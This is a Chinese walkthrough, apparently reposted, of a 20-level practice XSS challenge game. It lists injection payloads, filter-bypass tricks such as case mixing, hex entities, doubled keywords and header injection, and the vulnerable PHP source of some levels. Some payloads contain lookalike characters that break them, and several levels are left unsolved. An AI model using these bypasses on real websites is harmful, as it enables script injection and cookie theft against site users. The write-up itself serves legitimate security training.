XSS小游戏的通关之路

我是研究僧i 提交于 2020-03-17 04:58:04

1.开始

<script>alert('a')</script>

<script>alert(1)</script>

<script>confirm("完成的不错!")</script> <script>prompt("完成的不错!")</script>

 

2.注意闭合

test"> <script>alert('1')</script>

test"><script>confirm("完成的不错!")</script> test"><script>prompt("完成的不错!")</script>

 

3.尖括号被过滤,用事件来触发,单引号闭合

' οninput=alert`1` // ' οninput=alert`1` ' ' οnchange=alert`1` // ' οnchange=alert`1` '

' οnclick='window.alert()

 

来源: http://www.runoob.com/jsref/event-oninput.html

oninput 事件

实例

当用户向 <input> 中尝试输入时执行 JavaScript:<input type="text" οninput="myFunction()">

定义和用法

oninput 事件在用户输入时触发。

该事件在 <input> 或 <textarea> 元素的值发生改变时触发。

提示: 该事件类似于onchange 事件。不同之处在于 oninput 事件在元素值发生变化是立即触发, onchange 在元素失去焦点时触发。另外一点不同是 onchange 事件也可以作用于 <keygen> 和 <select> 元素。

 

4.跟第三关一样,只是闭合换成双引号

" oninput=alert`1` //

 

5.看源码,把on替换成了o_n;script替换成了sc_ript

意思就是不用事件和script

"> <a href="javascript:alert(/1/)">click me</a> //

生成一个跳转连接

 

6.主要是大小写问题,可以用大小写绕过技术

"> <Script>alert('handsome boy')</script> // "> <img Src=x OnError=alert('xss')> //

为什么第五关不能用大小写绕过,查看源码,发现调用下面函数,

 

7.用null代替常见字符

<?php

ini_set("display_errors", 0);

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level7.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>';

?>

" oonninput=alert(1) "

"> <scscriptript>alert`xss`</scscriptript> //

 8.过滤了:",src,on,script,data测试代码:

"'%&#></script><p class="οnmοuseοver=" οnmοuseοver="xx" onxxx="">xxx</p>

<input name=keyword value="&quot;'%&amp;#&gt;&lt;/script&gt;&lt;pclass=&quot;οnmοuseοver=&quot; οnmοuseοver=&quot;xx&quot; onxxx=&quot;&quot;&gt;xxx&lt;/p&gt;">

利用代码为:javascript:alert(1)

可以用十六进制转换来绕过过滤;

javasc&#x72;ipt:alert(1)

 

9.多了下面一句,检测URL合法性

if(false===strpos($str7,'http://'))

{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
javascript:alert(1) //http://

javasc&#x72;ipt:alert(1)//http://

 

10.过滤“<”,">"尖括号

尖括号被过滤,第一考虑事件型来触发XSS

看源码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.$str33.'" type="hidden">

</form>

</center>;

?>

发现除了keyword,还接受t_sort参数,虽然keyword没有过滤<>,但是不关他鸟事啊。。。

再往后看,t_sort type="hidden",所以构造的时候要带上type="text",显示文本内容

?keyword=12&t_sort="; type="text" οnclick="alert(111)

?keyword=12&t_sort="; type="text" οnmοuseοver="alert(111)

前后对比

 

11.插Referer

 

再结合源码

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

...

<input name="t_ref" value="'.$str33.'" type="hidden">

同样的过滤了<>,跟第十关一样,也可以自己构造Referer

Referer:12&t_sort="; type="text" onclick="alert(111)

 

12.插USER_AGENT

与11一样

 

13.插Cookie

同样,但是要注意参数名字为user,注意构造的语句闭合问题。

" type="text" οnclick="alert(111)

借助F12,来fuzz,查看接收和过滤的字符。

 

14.图片的EXIF信息渲染解析导致XSS

查看源码得知,嵌入了一个iframe页面,访问这个网站http://www.exifviewer.org/,是查看图片的EXIF信息的网站,说明这是文件上传图片的XSS。

此题的网站已关闭;

可参考:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html

 

15.AngularJS ng-include指令

15的正确访问链接如下;

http://127.0.0.1/xss/level15.php?src=1.gif

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

'level4.php?keyword=%22%20οnfοcus=alert(1)%20%22'

网上查是这个playload,但是不成功;以前也没有遇到过这种,暂时解不出来。

 

16.过滤script、空格、/

用%0d换行符绕过

playload:<img%0Dsrc=1%0Dοnerrοr=alert(1)>

 

17.过滤<>

但是输入的内容在embed标签中,<embed> 标签定义嵌入的内容,比如插件;

利用事件标签来触发,onmousedown、onfocus等都可以,但是不知道为什么onclick不可以。

playload:arg01=a&arg02=b οnfοcus=alert(1)

两个参数均可。

 

18.跟17一样

arg01=a&arg02=b οnfοcus=alert(1)

我这边测试跟17一摸一样,但是网上说只有第一个参数生效,只是看php的源码看不出区别,貌似跟flash有关,也就是源码里的几个swf文件,太菜,不懂。

 

19.flash xss

参考:http://blog.icxun.cn/note/308.html playload:arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

 

20.依旧不懂

playload:

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!